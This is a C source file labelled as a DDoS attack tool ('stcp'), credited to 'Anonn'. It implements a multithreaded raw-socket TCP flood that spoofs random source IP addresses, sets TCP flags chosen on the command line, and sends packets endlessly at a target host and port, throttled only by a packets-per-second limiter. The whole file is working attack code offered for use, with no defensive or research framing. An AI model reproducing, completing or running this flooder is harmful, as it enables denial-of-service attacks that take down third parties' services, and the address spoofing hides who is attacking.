stcp DDOS攻击

/* STCP - AnonnPL, look at TeamSpeakCrack.com  */
#include 
#include 
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include 
#include 
#include 
#include 
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include 
#include <net/if.h>
#include <arpa/inet.h>

#define MAX_PACKET_SIZE 4096
#define PHI 0x9e3779b9

static unsigned long int Q[4096], c = 362436;
static unsigned int floodport;
volatile int limiter;
volatile unsigned int pps;
volatile unsigned int sleeptime = 100;
int ack,syn,psh,fin,rst,urg,ptr,res2,seq;

void init_rand(unsigned long int x)
{
    int i;
    Q[0] = x;
    Q[1] = x + PHI;
    Q[2] = x + PHI + PHI;
    for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; } } unsigned long int rand_cmwc(void) { unsigned long long int t, a = 18782LL; static unsigned long int i = 4095; unsigned long int x, r = 0xfffffffe; i = (i + 1) & 4095; t = a * Q[i] + c; c = (t >> 32);
    x = t + c;
    if (x < c) { x++; c++; } return (Q[i] = r - x); } unsigned short csum (unsigned short *buf, int count) { register unsigned long sum = 0; while( count > 1 ) { sum += *buf++; count -= 2; }
    if(count > 0) { sum += *(unsigned char *)buf; }
    while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
    return (unsigned short)(~sum);
}

unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {

    struct tcp_pseudo
    {
        unsigned long src_addr;
        unsigned long dst_addr;
        unsigned char zero;
        unsigned char proto;
        unsigned short length;
    } pseudohead;
    unsigned short total_len = iph->tot_len;
    pseudohead.src_addr=iph->saddr;
    pseudohead.dst_addr=iph->daddr;
    pseudohead.zero=0;
    pseudohead.proto=IPPROTO_TCP;
    pseudohead.length=htons(sizeof(struct tcphdr));
    int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
    unsigned short *tcp = malloc(totaltcp_len);
    memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
    memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
    unsigned short output = csum(tcp,totaltcp_len);
    free(tcp);
    return output;
}

void setup_ip_header(struct iphdr *iph)
{
    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 0;
    iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
    iph->id = htonl(rand()%54321);
    iph->frag_off = 0;
    iph->ttl = MAXTTL;
    iph->protocol = 6;
    iph->check = 0;
    iph->saddr = inet_addr("8.8.8.8");
}

void setup_tcp_header(struct tcphdr *tcph)
{
tcph->source = htons(rand()%65535);
    tcph->seq = rand();
    tcph->ack  = ack;
    tcph->ack_seq = seq;
    tcph->psh  = psh;    
    tcph->fin  = fin;
    tcph->rst  = rst;
    tcph->res2 = res2;
    tcph->doff = 5;
    tcph->syn = syn; 
    tcph->urg  = urg;
    tcph->urg_ptr = ptr;
    tcph->window = htonl(65535);
    tcph->check = 0;
}

void *flood(void *par1)
{
    char *td = (char *)par1;
    char datagram[MAX_PACKET_SIZE];
    struct iphdr *iph = (struct iphdr *)datagram;
    struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);

    struct sockaddr_in sin;
    sin.sin_family = AF_INET;
    sin.sin_port = htons(floodport);
    sin.sin_addr.s_addr = inet_addr(td);

    int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
    if(s < 0){ fprintf(stderr, "Could not open raw socket.\n"); exit(-1); } memset(datagram, 0, MAX_PACKET_SIZE); setup_ip_header(iph); setup_tcp_header(tcph); tcph->dest = htons(floodport);

    iph->daddr = sin.sin_addr.s_addr;
    iph->check = csum ((unsigned short *) datagram, iph->tot_len);

    int tmp = 1;
    const int *val = &tmp;
    if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){ fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n"); exit(-1); } init_rand(time(NULL)); register unsigned int i; i = 0; while(1){ sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

        iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF); iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
        iph->check = csum ((unsigned short *) datagram, iph->tot_len);
        tcph->seq = rand_cmwc() & 0xFFFF;
        tcph->source = htons(rand_cmwc() & 0xFFFF);
        tcph->check = 0;
        tcph->check = tcpcsum(iph, tcph);

        pps++;
        if(i >= limiter)
        {
            i = 0;
            usleep(sleeptime);
        }
        i++;
    }
}
int main(int argc, char *argv[ ])
{
    if(argc < 7){
        fprintf(stderr, "Invalid parameters!\n");
        fprintf(stdout, "Usage: %s      <ack,syn,psh,fin,rst,urg,ptr,res2,seq>\n", argv[0]);
        exit(-1);
    }

    fprintf(stdout, "Setting up Sockets...\n");

    int num_threads = atoi(argv[3]);
    floodport = atoi(argv[2]);
    int maxpps = atoi(argv[4]);
    limiter = 0;
    pps = 0;
    pthread_t thread[num_threads];
//TCP FLAGS
    if(strstr(argv[6], "ack"))
    ack  = 1;
    else
    ack  = 0;

    if(strstr(argv[6], "seq"))
    seq = 1;
    else
    seq = 0;

    if(strstr(argv[6], "psh"))
    psh = 1;
    else
    psh = 0;

    if(strstr(argv[6], "fin"))
    fin  = 1;
    else
    fin  = 0;

    if(strstr(argv[6], "rst"))
    rst = 1;
    else
    rst = 0;

    if(strstr(argv[6], "res2"))
    res2 = 1;
    else
    res2 = 0;

    if(strstr(argv[6], "syn"))
    syn = 1;
    else
    syn = 0;

    if(strstr(argv[6], "urg"))
    urg = 1;
    else
    urg = 0;

    if(strstr(argv[6], "ptr"))
    ptr = 1;
    else
    ptr = 0;

//FLAGS END
    int multiplier = 20;

    int i;
    for(i = 0;i<num_threads;i++){
        pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
    }
    fprintf(stdout, "Starting Flood...\n");
    fprintf(stdout, "Code by Anonn\n");
    for(i = 0;i<(atoi(argv[5])*multiplier);i++) { usleep((1000/multiplier)*1000); if((pps*multiplier) > maxpps)
        {
            if(1 > limiter)
            {
                sleeptime+=100;
            } else {
                limiter--;
            }
        } else {
            limiter++;
            if(sleeptime > 25)
            {
                sleeptime-=25;
            } else {
                sleeptime = 0;
            }
        }
        pps = 0;
    }

    return 0;
}